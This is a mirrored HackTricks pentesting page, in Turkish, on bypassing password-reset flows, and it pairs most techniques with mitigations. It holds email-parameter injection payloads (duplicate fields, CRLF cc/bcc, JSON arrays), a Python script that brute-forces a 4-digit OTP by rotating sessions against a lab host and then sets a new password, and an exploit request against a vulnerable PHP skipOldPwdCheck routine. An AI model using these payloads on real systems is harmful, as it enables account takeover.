mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
276 lines
13 KiB
Markdown
276 lines
13 KiB
Markdown
# Şifre Sıfırlama / Unutulmuş Şifre Atlatma
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## **Şifre Sıfırlama Token Leak Referer Üzerinden**
|
||
|
||
- HTTP referer header, URL içinde şifre sıfırlama token'ı varsa token'ı leak edebilir. Bu, bir kullanıcı şifre sıfırlama talep ettikten sonra üçüncü taraf bir siteye tıklarsa oluşabilir.
|
||
- **Impact**: Cross-Site Request Forgery (CSRF) saldırıları yoluyla potansiyel hesap ele geçirme.
|
||
- **Exploitation**: HTTP referer header içinde bir şifre sıfırlama token'ının leak olup olmadığını kontrol etmek için, **e-posta adresinize şifre sıfırlama isteği gönderin** ve verilen **reset linkine tıklayın**. **Hemen parolayı değiştirmeyin**. Bunun yerine, **istekleri Burp Suite ile intercept ederken** bir **üçüncü taraf web sitesine** (ör. Facebook veya Twitter) gidin. İstekleri inceleyerek **referer header içinde şifre sıfırlama token'ı olup olmadığını** kontrol edin — bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir.
|
||
- **References**:
|
||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||
|
||
## **Password Reset Poisoning**
|
||
|
||
- Saldırganlar, password reset istekleri sırasında Host header'ı manipüle ederek reset linkini kötü amaçlı bir siteye yönlendirebilir.
|
||
- **Impact**: Reset token'larının saldırgana leak olmasıyla potansiyel hesap ele geçirme.
|
||
- **Mitigation Steps**:
|
||
- Host header'ı izin verilen domainler listesiyle doğrulayın.
|
||
- Mutlak URL'ler oluşturmak için güvenli, server-side yöntemler kullanın.
|
||
- **Patch**: Password reset URL'lerini oluştururken `$_SERVER['SERVER_NAME']` kullanın; `$_SERVER['HTTP_HOST']` yerine.
|
||
- **References**:
|
||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||
|
||
## **Password Reset By Manipulating Email Parameter**
|
||
|
||
Saldırganlar, reset linkini başka bir yere yönlendirmek için password reset isteğindeki email parametresini manipüle edebilir.
|
||
|
||
- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin &
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&email=attacker@email.com
|
||
```
|
||
- İkinci parametre olarak attacker email ekle %20 kullanarak
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com%20email=attacker@email.com
|
||
```
|
||
- attacker email'i ikinci parametre olarak | ile ekle
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com|email=attacker@email.com
|
||
```
|
||
- cc kullanarak attacker email'i ikinci parametre olarak ekle
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||
```
|
||
- Saldırgan e-posta adresini bcc kullanarak ikinci parametre olarak ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||
```
|
||
- İkinci parametre olarak attacker email ekleyin, kullanarak ,
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld",email="attacker@mail.tld"
|
||
```
|
||
- Saldırgan e-posta adresini json dizisinin ikinci parametresi olarak ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||
```
|
||
- **Önleme Adımları**:
|
||
- E-posta parametrelerini sunucu tarafında düzgün şekilde ayrıştırın ve doğrulayın.
|
||
- prepared statements veya parameterized queries kullanın; injection attacks'ı önlemek için.
|
||
- **Referanslar**:
|
||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||
|
||
## **API Parametreleri Aracılığıyla Herhangi Bir Kullanıcının E-posta ve Parolasının Değiştirilmesi**
|
||
|
||
- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve parola parametrelerini değiştirebilirler.
|
||
```php
|
||
POST /api/changepass
|
||
[...]
|
||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||
```
|
||
- **Hafifletme Adımları**:
|
||
- Parametre doğrulaması ve kimlik doğrulama kontrollerinin sıkı olduğundan emin olun.
|
||
- Şüpheli etkinlikleri tespit etmek ve yanıtlamak için güçlü kayıt tutma ve izleme uygulayın.
|
||
- **Reference**:
|
||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||
|
||
## **No Rate Limiting: Email Bombing**
|
||
|
||
- Şifre sıfırlama isteklerinde rate limiting olmaması email bombing'e yol açabilir ve kullanıcıyı sıfırlama e-postalarıyla bunaltabilir.
|
||
- **Hafifletme Adımları**:
|
||
- IP adresi veya kullanıcı hesabına göre rate limiting uygulayın.
|
||
- Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanın.
|
||
- **References**:
|
||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||
|
||
## **Find out How Password Reset Token is Generated**
|
||
|
||
- Token oluşturma desenini veya yöntemini anlamak, token'ların tahmin edilmesine veya brute-forcing ile ele geçirilmesine yol açabilir. Bazı seçenekler:
|
||
- Timestamp'a dayalı
|
||
- UserID'e dayalı
|
||
- Kullanıcının email'ine dayalı
|
||
- İsim ve soyisme dayalı
|
||
- Doğum tarihine dayalı
|
||
- Kriptografi tabanlı
|
||
- **Hafifletme Adımları**:
|
||
- Token oluşturmak için güçlü, kriptografik yöntemler kullanın.
|
||
- Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın.
|
||
- **Araçlar**: Burp Sequencer kullanarak token'ların rastgeleliğini analiz edin.
|
||
|
||
## **Guessable UUID**
|
||
|
||
- UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için bunları brute-force ile deneyebilir. Kontrol edin:
|
||
|
||
|
||
{{#ref}}
|
||
uuid-insecurities.md
|
||
{{#endref}}
|
||
|
||
- **Hafifletme Adımları**:
|
||
- Rastgelelik için GUID version 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
|
||
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
|
||
|
||
## **Response Manipulation: Replace Bad Response With Good One**
|
||
|
||
- Hata mesajlarını veya kısıtlamaları atlamak için HTTP yanıtlarını manipüle etmek.
|
||
- **Hafifletme Adımları**:
|
||
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
|
||
- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
||
- **Reference**:
|
||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||
|
||
## **Using Expired Token**
|
||
|
||
- Süresi dolmuş token'ların hâlâ şifre sıfırlamada kullanılıp kullanılamayacağını test etmek.
|
||
- **Hafifletme Adımları**:
|
||
- Sıkı token süre sonu politikaları uygulayın ve token süre sonunu sunucu tarafında doğrulayın.
|
||
|
||
## **Brute Force Password Reset Token**
|
||
|
||
- IP tabanlı rate limitleri aşmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force etmeyi denemek.
|
||
- **Hafifletme Adımları**:
|
||
- Güçlü rate-limiting ve hesap kilitleme mekanizmaları uygulayın.
|
||
- Brute-force saldırılarına işaret eden şüpheli etkinlikleri izleyin.
|
||
|
||
## **Try Using Your Token**
|
||
|
||
- Bir saldırganın reset token'ının kurbanın e-postası ile birlikte kullanılıp kullanılamayacağını test etmek.
|
||
- **Hafifletme Adımları**:
|
||
- Token'ların kullanıcı oturumuna veya diğer kullanıcıya özgü niteliklere bağlı olduğundan emin olun.
|
||
|
||
## **Session Invalidation in Logout/Password Reset**
|
||
|
||
- Bir kullanıcı oturumu kapattığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olmak.
|
||
- **Hafifletme Adımları**:
|
||
- Oturum kapatma veya şifre sıfırlama sırasında tüm oturumların geçersiz kılınmasını sağlayacak doğru oturum yönetimini uygulayın.
|
||
|
||
## **Session Invalidation in Logout/Password Reset**
|
||
|
||
- Reset token'larının belirli bir süre sonu olmalı ve bu süreden sonra geçersiz olmalılar.
|
||
- **Hafifletme Adımları**:
|
||
- Reset token'ları için makul bir süre sonu belirleyin ve bunu sunucu tarafında kesinlikle uygulayın.
|
||
|
||
## **OTP rate limit bypass by changing your session**
|
||
|
||
- Eğer web sitesi yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 hane) OTP'yi etkin bir şekilde brute-force edebiliriz.
|
||
- **Sömürme**:
|
||
- Sunucu tarafından engellendikten sonra sadece yeni bir session token isteyin.
|
||
- **Örnek** kodu, OTP'yi rastgele tahmin ederek bu hatayı sömüren (oturumu değiştirdiğinizde OTP de değişecektir, bu yüzden ardışık brute-force yapamayacağız!):
|
||
|
||
``` python
|
||
# Authentication bypass by password reset
|
||
# by coderMohammed
|
||
import requests
|
||
import random
|
||
from time import sleep
|
||
|
||
headers = {
|
||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||
}
|
||
url = "http://10.10.12.231:1337/reset_password.php"
|
||
logout = "http://10.10.12.231:1337/logout.php"
|
||
root = "http://10.10.12.231:1337/"
|
||
|
||
parms = dict()
|
||
ter = 0
|
||
phpsessid = ""
|
||
|
||
print("[+] Starting attack!")
|
||
sleep(3)
|
||
print("[+] This might take around 5 minutes to finish!")
|
||
|
||
try:
|
||
while True:
|
||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||
parms["s"] = 164 # not important it only efects the frontend
|
||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||
|
||
if ter == 8: # follow number of trails
|
||
out = requests.get(logout,headers=headers) # log u out
|
||
mainp = requests.get(root) # gets another phpssid (token)
|
||
|
||
cookies = out.cookies # extract the sessionid
|
||
phpsessid = cookies.get('PHPSESSID')
|
||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||
|
||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||
ter = 0 # reset ter so we get a new session after 8 trails
|
||
else:
|
||
ter += 1
|
||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||
print(len(res.text)) # for debug info
|
||
print(phpsessid)
|
||
|
||
reset_data = { # here we will change the password to somthing new
|
||
"new_password": "D37djkamd!",
|
||
"confirm_password": "D37djkamd!"
|
||
}
|
||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||
|
||
print("[+] Password has been changed to:D37djkamd!")
|
||
break
|
||
except Exception as e:
|
||
print("[+] Attck stopped")
|
||
```
|
||
|
||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||
|
||
Bazı uygulamalar, skipOldPwdCheck=true ile password-change rutinini çağıran ve herhangi bir reset token'ı veya sahipliği doğrulamayan bir password change eylemi açığa çıkarır. Eğer endpoint, request gövdesinde change_password gibi bir action parametresini ve bir username/yeni şifre kabul ediyorsa, bir saldırgan pre-auth olarak rastgele hesapları sıfırlayabilir.
|
||
|
||
Zafiyetli desen (PHP):
|
||
```php
|
||
// hub/rpwd.php
|
||
RequestHandler::validateCSRFToken();
|
||
$RP = new RecoverPwd();
|
||
$RP->process($_REQUEST, $_POST);
|
||
|
||
// modules/Users/RecoverPwd.php
|
||
if ($request['action'] == 'change_password') {
|
||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||
}
|
||
|
||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||
$current_user = CRMEntity::getInstance('Users');
|
||
$current_user->id = $current_user->retrieve_user_id($username);
|
||
// ... criteria checks omitted ...
|
||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||
}
|
||
```
|
||
Exploitation isteği (kavram):
|
||
```http
|
||
POST /hub/rpwd.php HTTP/1.1
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||
```
|
||
Önlemler:
|
||
- Parola değiştirmeden önce her zaman hesaba ve session'a bağlı, süreyle sınırlı geçerli bir reset token gerektirin.
|
||
- skipOldPwdCheck path'lerini kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın.
|
||
- Parola değişikliğinden sonra tüm aktif session'ları ve reset token'ları geçersiz kılın.
|
||
|
||
## Kaynaklar
|
||
|
||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|